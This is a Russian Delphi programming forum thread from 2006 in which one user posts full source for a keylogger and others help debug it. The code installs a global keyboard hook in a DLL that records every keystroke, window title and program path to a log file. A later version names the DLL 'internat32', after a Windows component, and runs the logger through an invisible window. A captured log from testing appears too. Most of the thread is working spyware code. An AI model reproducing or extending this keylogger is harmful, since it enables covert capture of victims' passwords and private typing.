VPF::Клавиатурный шпион - Форум программистов

Dmitry_177

Дата 22.9.2006, 18:41 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Почему при запуске функции RunHook файл создается, а запись в него не происходит в обработчике хука SysMsgProc? Я думал над тем что вдруг переменная F: TextFile портится, т.к. слышал что общие переменные плохо хранятся в библиотеке... Можно что-нибудь с этим поделать? Может ктонибудь сталкивался с такой проблемой? Я пробовал и так, что прям в обработчике SysMsgProc открывать файл, делать запись и закрывать... Так происходит запись в файл, но так делать не очень хорошо наверно, т.к. лишний раз комп тоже грузить не охото... Хоть так, через одно место, но запись происходит, но так почему-то функции GetModuleFileName и GetWindowText как-то не правильно работают... Если вызвать функцию RunHook из библиотеки и вводить разные символы в разных окнах, то я заметил некую странность, если в каком-то окне вводятся впервые символы с момента запуска библиотеки, то эти функции определяют все правильно, а если потом ввести какие-то символы в другом какомнибудь окне(это другое окно, если тоже впервые вводятся символы, тоже определится функциями), а потом вводить в том окне в каком уже вводили, то эти функции уже не определяют почему-то что это другое окно(не то в котором вводилось до этого), и происходит запись в файл так, коббудто я ввожу символы не в том окне в котором на самом деле, а в том в котором определилось этими функциями в последний раз...

Библиотека:

Код


library MyLib;

uses
 Windows, Messages, Dialogs, SysUtils;

var
 FText: TextFile;
 SysHook: HHook = 0;
 SelfMFN, SelfFC: String;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 FormCaption: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pText : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pText, 3);
     ToAsciiEx(wParam, 0, KeyBS, pText, 0, GetKeyboardLayout(0));
     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));
     GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));

     // AssignFile(FText, 'c:\keylog.txt');        //это если в обработчике открывать файл для записи и закрывать потом
     // if FileExists('c:\keylog.txt') then
     //   Append(FText)
     // else
     //   Rewrite(FText);

     if SelfMFN <> ModuleFileName then
        begin
          SelfMFN := ModuleFileName;
          SelfFC := FormCaption;
          WriteLn(FText, #13#10);
          WriteLn(FText, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
          WriteLn(FText, '#File Name#: ' + ModuleFileName);
          WriteLn(FText, '#Form Caption#: ' + FormCaption);
          Write(FText, '#Text#: ' + pText^);
        end
      else
        begin
          if SelfFC <> FormCaption then
            begin
              SelfFC := FormCaption;
              WriteLn(FText, #13#10);
              WriteLn(FText, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
              WriteLn(FText, '#Form Caption#: ' + FormCaption);
              Write(FText, '#Text#: ' + pText^);
            end
          else
            Write(FText, pText^);
        end;

     // CloseFile(FText);

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 AssignFile(FText, 'c:\keylog.txt');
 if FileExists('c:\keylog.txt') then
   Append(FText)
 else
   Rewrite(FText);
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;
 CloseFile(FText);
end;

exports
 RunHook index 1,
 StopHook index 2;

Тестовая программа для запуска библиотеки:

Код


unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   procedure Button1Click(Sender: TObject);
 end;

var
 Form1: TForm1;

procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = 'Run' then
   begin
     Button1.Caption := 'Stop';
     RunHook;
   end
 else
   if Button1.Caption = 'Stop' then
     begin
       StopHook;
       Button1.Caption := 'Run';
     end;
end;

end.

drkot

Дата 24.9.2006, 14:12 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Помоему работает.

--------------------

Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.

Dmitry_177

Дата 24.9.2006, 16:23 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Попробуй..

drkot

Дата 24.9.2006, 16:32 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Так не с потолка же сказал. Попробовал.
Переключение между процессами пишет замечательно.
вот тебе пачка компромата на меня smile

Код


24.Сентябрь(09).2006  -  14:12
#File Name#: C:\DrKot\My Projects\Новая папка\Project1.exe
#Form Caption#: {C:\DrKot\My Projects\Новая папка} - Far
#Text#:        


24.Сентябрь(09).2006  -  14:12
#Form Caption#: {C:\DrKot\My Projects} - Far
#Text#: gfhl;kdjh;ldfkjh;ldfjhd;lfjhd;l

24.Сентябрь(09).2006  -  14:12
#Form Caption#: {C:\} - Far
#Text#:  

24.Сентябрь(09).2006  -  14:12
#Form Caption#: просмотр keylog.txt - Far
#Text#:

--------------------

Dmitry_177

Дата 24.9.2006, 17:26 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Немного не понял меня, попробуй так: Запусти "блокнот", введи там чтонибудь, потом, не закрывая его, запусти например "Internet Explorer" введи в поле адреса тоже чтонибудь, а потом открой тот блокнот который уже запущен и там опять что-нибудь введи... в логах увидишь, что то что в последний раз вводил в блокноте будет записано как в Internet Explorer-е...

Вот смотри:
24.Сентябрь(09).2006 - 18:20
#File Name#: C:\WINDOWS\system32\notepad.exe
#Form Caption#: Безымянный - Блокнот
#Text#: 1234567890

24.Сентябрь(09).2006 - 18:20
#File Name#: C:\Program Files\Internet Explorer\IEXPLORE.EXE
#Form Caption#: about:blank - Microsoft Internet Explorer
#Text#: 12345678901234567890

То что выделенно жирным, я вводил в блокноте а не в Internet Explorer-е...

А еще такой вопрос, файл открывал и закрывал в SysMsgProc или в RunHook и StopHook?

Это сообщение отредактировал(а) Dmitry_177 - 24.9.2006, 17:30

drkot

Дата 24.9.2006, 17:34 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 24.9.2006, 17:26

)

А еще такой вопрос, файл открывал и закрывал в SysMsgProc или в RunHook и StopHook?

Все оставил как было в предложенном исходнике (кроме одной переменной лишней)

Так это у тебя с указателями бока. внимательно оттестиру и будет работать.
Переменныюе очищай и пр.
А лучше исользуй обычные паскалевские строки (проще глюки вылавливать будет).

--------------------

Dmitry_177

Дата 24.9.2006, 17:46 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

эту? в FreeMem(pTransChar); вместо pTransChar - pText? тоже не работает...((( У меня так и было, только я тут забыл поменять... А в чем компилировал, какая версия Delphi?

drkot

Дата 24.9.2006, 18:54 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 24.9.2006, 17:46

)

А в чем компилировал, какая версия Delphi?

10 триал.

--------------------

Dmitry_177

Дата 25.9.2006, 15:21 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Про переменные я правильно сказал, так сделал?

Delphi 2006 в смысле?

drkot

Дата 25.9.2006, 17:40 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 25.9.2006, 15:21

)

Delphi 2006 в смысле?

да.

Цитата(Dmitry_177 @ 25.9.2006, 15:21

)

Про переменные я правильно сказал, так сделал?

не понял (в смысл фразы невьехал).

--------------------

Dmitry_177

Дата 25.9.2006, 18:47 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Все оставил как было в предложенном исходнике (кроме одной переменной лишней)

Какую лишнюю переменную убрал?

drkot

Дата 25.9.2006, 18:51 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 22.9.2006, 18:41

)

FreeMem(pTransChar);

вот эту. она нигде не описана и неиспользуется

--------------------

Dmitry_177

Дата 25.9.2006, 20:36 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

FreeMem(pText); - вот так правильно будет. Т.к. мы выделяем память, GetMem(pText, 3);

Установил я Delphi 2006, перекомпилировал в нем свой код, всеравно не работает.. Всеравно все тоже самое...(((

Dmitry_177

Дата 27.9.2006, 00:04 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

А выложи свои откомпилированные файлы, может у меня и твои тоже не будут работать...

drkot

Дата 28.9.2006, 12:23 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

У меня пишется нормально (то что набрано для окна то и пишет)
файл отправлю на мыло.

--------------------

Dmitry_177

Дата 29.9.2006, 15:31 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Будешь удивлен, твои откомпилированне файлы у меня не работают, т.е. запускаю я программу, жму там "Run", везде в разных окнах ввожу символ, потом жму "Stop"... Файл "c:\keylog.txt" создается, но в него ничего не записывается... Странно что у тебя работает..

drkot

Дата 29.9.2006, 18:53 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 29.9.2006, 15:31

)

Странно что у тебя работает.

тоже могу сказать в ответ smile

--------------------

Dmitry_177

Дата 7.10.2006, 23:59 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Сделал я такую реализвцию, dll-ка ловит сообщения клавиатуры и передает их в программу сообщением WM_COPYDATA:

Dll-библиотека:

Код


library internat32;

uses
  Windows,
  Messages;

const
  WinTitle = 'internat32';

type
  TMaxPathString = array [0..MAX_PATH] of Char;

  THookData = packed record
    KeyName: Char;
    FormCaption: TMaxPathString;
    AppFileName: TMaxPathString;
  end;

var
  KeyHook: HHook = INVALID_HANDLE_VALUE;

procedure SendData(AData: THookData);
var
  hWindow: HWnd;
  Struc: COPYDATASTRUCT;
begin
  hWindow := FindWindow(WinTitle, nil);
  if hWindow <> 0 then
    begin
      Struc.dwData := 0;
      Struc.cbData := SizeOf(THookData);
      Struc.lpData := @AData;
      SendMessage(hWindow, WM_COPYDATA, 0, Integer(@Struc));
    end;
end;

function KeyHookProc(nCode: integer; WParam: Word; LParam: LongInt): LongInt; stdcall;
var
  KeyState: TKeyboardState;
  pKeyName: PChar;
  FormCaption: TMaxPathString;
  AppFileName: TMaxPathString;
  Data: THookData;
begin
  if (nCode = HC_ACTION) and (((LParam shr 16) and KF_UP) = 0) then
    begin
      GetKeyBoardState(KeyState);
      GetMem(pKeyName, 3);
      ToAsciiEx(WParam, 0, KeyState, pKeyName, 0, GetKeyboardLayout(0));
      GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));
      GetModuleFileName(0, AppFileName, SizeOf(AppFileName));

      Data.KeyName := pKeyName^;
      Data.FormCaption := FormCaption;
      Data.AppFileName := AppFileName;
      SendData(Data);

      FreeMem(pKeyName);
      Result := 0;
    end
  else
    Result := CallNextHookEx(KeyHook, nCode, WParam, LParam);
end;

procedure InstallHook; export; stdcall;
begin
  if KeyHook = INVALID_HANDLE_VALUE then
    KeyHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHookProc, hInstance, 0);
end;

procedure RemoveHook; export; stdcall;
begin
  if KeyHook <> INVALID_HANDLE_VALUE then
    UnHookWindowsHookEx(KeyHook);
  KeyHook := INVALID_HANDLE_VALUE;
end;

exports
  InstallHook index 1,
  RemoveHook index 2;

begin
end.

Программа:

Код


program internat32;

uses
  Windows,
  Messages,
  SysUtils;

const
  WinTitle = 'internat32';

type
  TMaxPathString = array [0..MAX_PATH] of Char;

  THookData = packed record
    KeyName: Char;
    FormCaption: TMaxPathString;
    AppFileName: TMaxPathString;
  end;

  PHookData = ^THookData;

var
  WindowClass: TWndClass;
  hWindow: HWnd;
  Msg: TMsg;
  LogFile: TextFile;
  LogFileName, SelfMFN, SelfFC: string;

procedure InstallHook; stdcall; external 'internat32.dll' index 1;
procedure RemoveHook; stdcall; external 'internat32.dll' index 2;

procedure TranslateData(DataStruc: COPYDATASTRUCT; var AData: THookData);
var
  PData: PHookData;
begin
  PData := DataStruc.lpData;
  AData.KeyName := PData^.KeyName;
  Move(PData^.FormCaption, AData.FormCaption, SizeOf(AData.FormCaption));
  Move(PData^.AppFileName, AData.AppFileName, SizeOf(AData.AppFileName));
end;

function WindowProc(Window: HWnd; Message, WParam: Word; LParam: LongInt): LongInt; stdcall;
var
  Struc: COPYDATASTRUCT;
  AData: THookData;
begin
  Result := 0;
    case Message of
      WM_COPYDATA: begin
                     Struc := PCopyDataStruct(LParam)^;
                     TranslateData(Struc, AData);

                     if SelfMFN <> AData.AppFileName then
                       begin
                         SelfMFN := AData.AppFileName;
                         SelfFC := AData.FormCaption;
                         Flush(LogFile);
                         WriteLn(LogFile, #13#10);
                         WriteLn(LogFile, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
                         WriteLn(LogFile, '#File Name#: ' + AData.AppFileName);
                         WriteLn(LogFile, '#Form Caption#: ' + AData.FormCaption);
                         Write(LogFile, '#Text#: ' + AData.KeyName);
                       end
                     else
                       begin
                         if SelfFC <> AData.FormCaption then
                           begin
                             SelfFC := AData.FormCaption;
                             Flush(LogFile);
                             WriteLn(LogFile, #13#10);
                             WriteLn(LogFile, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
                             WriteLn(LogFile, '#Form Caption#: ' + AData.FormCaption);
                             Write(LogFile, '#Text#: ' + AData.KeyName);
                           end
                         else
                           begin
                             Write(LogFile, AData.KeyName);
                           end;
                       end;
                     Result := 1;
                   end;

      WM_DESTROY: begin
                    RemoveHook;
                    CloseFile(LogFile);
                    PostQuitMessage(0);
                    Exit;
                  end;
  else
    Result := DefWindowProc(Window, Message, WParam, LParam);
  end;
end;

begin
  LogFileName := ExtractFilePath(ParamStr(0)) + 'KeyLog.txt';
  SelfMFN := '';
  SelfFC := '';

  AssignFile(LogFile, LogFileName);
  if FileExists(LogFileName) then
    Append(LogFile)
  else
    Rewrite(LogFile);

  with WindowClass do
    begin
      lpszClassName := WinTitle;
      lpfnWndProc := @WindowProc;
      cbClsExtra := 0;
      cbWndExtra := 0;
      hInstance := 0;
    end;

  if RegisterClass(WindowClass) = 0 then Exit;
  hWindow := CreateWindow(WinTitle, WinTitle, 0, 0, 0, 0, 0, 0, 0, hInstance, nil);

  InstallHook;

  while GetMessage(Msg, 0, 0, 0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;

  Halt(Msg.wParam);
end.

Все работает, клавиатура ловится, все передается в программу, программа записывает в файл, но проблема теперь вот в чем, почему-то если нажимать Shift, то записывается последний символ который был введен до нажатия Shift-а. Т.е. если например в Word-е ввести какое-нибудь слово например "Дмитрий", а потом сразу нажимать несколько раз Shift, то будет так: "Дмитриййййй", символ "й", повторяется столько же раз сколько была нажата клавиша Shift. Почему так? Подскажите пожалуйста...

Это сообщение отредактировал(а) Dmitry_177 - 8.10.2006, 00:03

drkot

Дата 9.10.2006, 10:55 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 7.10.2006, 23:59

)

то будет так: "Дмитриййййй", символ "й", повторяется столько же раз сколько была нажата клавиша Shift. Почему так? Подскажите пожалуйста...

переменную очищай

--------------------

Dmitry_177

Дата 11.10.2006, 17:21 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

А какую переменную очищать?

drkot

Дата 12.10.2006, 11:33 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

ту в которой содержится символ

Цитата(Dmitry_177 @ 7.10.2006, 23:59

)

символ "й"

при нажатии на шифт ненадо клавишу писать, ввода то по сути нет.

--------------------

Dmitry_177

Дата 12.10.2006, 11:53 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Символ содержится в переменной AData: THookData; (AData.KeyName) которая находится в функции WindowProc, ведь она сама должна убиваться при завершении этой функции, и по идее в ней ничего не должно быть при следующем запуске функции...

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: WinAPI и системное программирование \| Следующая тема »